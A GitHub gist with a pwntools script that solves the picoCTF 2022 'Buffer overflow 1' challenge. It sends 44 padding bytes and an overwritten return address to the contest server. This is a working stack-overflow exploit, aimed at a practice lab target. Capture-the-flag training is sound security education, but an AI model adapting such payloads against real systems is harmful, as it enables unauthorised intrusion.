Skip to content

Instantly share code, notes, and snippets.

@jktrn
Last active June 19, 2022 05:13
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jktrn/23ec53b007e3589c6793acffce207394 to your computer and use it in GitHub Desktop.
Save jktrn/23ec53b007e3589c6793acffce207394 to your computer and use it in GitHub Desktop.
Solve for the pwn/binary challenge "Buffer overflow 1" from the picoCTF 2022 competition.
from pwn import *
payload = b"A"*44 + p32(0x80491f6) # Little endian: b'\xf6\x91\x04\x08'
host, port = "saturn.picoctf.net", [PORT]
p = remote(host, port) # Opens the connection
p.sendline(payload) # Sends the payload
log.success(p.recvallS()) # Decodes/prints all program outputs
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment